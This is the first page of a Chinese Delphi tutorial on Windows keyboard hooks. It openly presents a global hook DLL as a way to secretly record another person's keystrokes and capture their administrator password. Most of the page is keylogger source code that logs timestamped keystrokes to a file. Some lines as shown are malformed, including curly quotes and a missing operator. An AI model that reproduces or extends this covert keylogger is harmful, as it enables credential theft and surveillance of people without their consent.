Delphi编程使用HOOK监视Windows （1）

1 2 下一页

每个程序都有自己的生存空间，在Windows系统中你可以在任何时候让你的程序执行一些操作，还可以触发消息，触发的消息分为三种，一是操作你程序的界面，onClick，onMouseMove等等，另外一个可以使用Windows的消息机制来捕获一些系统消息，但是如果你想在任何时候监控任何程序的情况那可能你就会选择HOOK来实现了，虽然还有其他方法，但不得不承认，HOOK是一个比较简单解决问题的途径。

　　下面就来举个例子（使用Delphi7.0调试通过）：

　　如果你需要访问某个人的机器，那在运行\\SB之后那个人就会在你机器上敲入他的adminsitrator密码，当然，你也可以使用黑客工具来得到他的密码，但是，为什么不自己尝试一下写个程序记录所有的键盘操作呢？

　　首先需要申明一点，Hook不同于一般的应用程序，需要作为一个全局DLL出现，否则无法在你程序不激活的状态捕获其他信息的，（当然你可以用Windows消息，这个问题不在这里讨论）。

　　写个DLL定义一下函数

function setkeyhook:bool;export;
function endkeyhook:bool;export;
procedure keyhookexit;far;
procedure SetMainHandle(Handle: HWND); export;forward;
function keyboardhookhandler(icode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;export;

procedure EntryPointProc(Reason: Integer);
　const
　　hMapObject: THandle = 0;
　begin
　　case reason of
　　　DLL_PROCESS_ATTACH:
　　begin
　　　hMapObject := CreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE, 0, SizeOf(THookRec), ’_CBT’);
　　　rHookRec := MapViewOfFile(hMapObject, FILE_MAP_WRITE, 0, 0, 0);
　　end;
　　DLL_PROCESS_DETACH:
　begin
　try
　　UnMapViewOfFile(rHookRec);
　　CloseHandle(hMapObject);
　　except
　end;
end;
end;
end;
procedure keyhookexit;far;
begin
if hNexthookproc<>0 then endkeyhook;
　exitproc:=procsaveexit;
end;
function endkeyhook:bool;export;
begin
if hNexthookproc<>0 then
begin
　unhookwindowshookex(hNexthookproc);
　hNexthookproc:=0;
　messagebeep(0);
end;
result:=hNexthookproc=0;
MainHandle:=0;
end;

function Setkeyhook:bool;export;
begin
　hNexthookproc:=SetWindowsHookEx(WH_KEYBOARD ,keyboardhookhandler,HInstance,0);
　result:=hNexthookproc<>0;
end;
function keyboardhookhandler(icode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;export;
var
　s:Tstringlist;
begin
　if icode<0 then
　begin
　　result:=CallNextHookEX(hNexthookproc,icode,wparam,lparam);
　　exit;
　end;
　if lparam<0 then
　begin
　　exit;
　end;
　s:=TStringlist.Create;
　if FileExists(afilename) then
　　s.LoadFromFile(afilename);

　　//将敲打的键盘字符保存到文件中
　　s.Add(formatdatetime(’YYYYMMDD hh:nn:ss:zzz: ’,now) char(wParam) );
　　s.SaveToFile(afilename);
　　s.Free;

　　result:=0;
　end;

上一篇： 如何用Delphi语言制作中国式的报表 （1）
下一篇： DELPHI面向对象特点 保护级类成员应用

1 2 下一页

标签：

版权申明：本站文章部分自网络，如有侵权，请联系：west999com@outlook.com
特别注意：本站所有转载文章言论不代表本站观点，本站所提供的摄影照片，插画，设计作品，如需使用，请与原作者联系，版权归原作者所有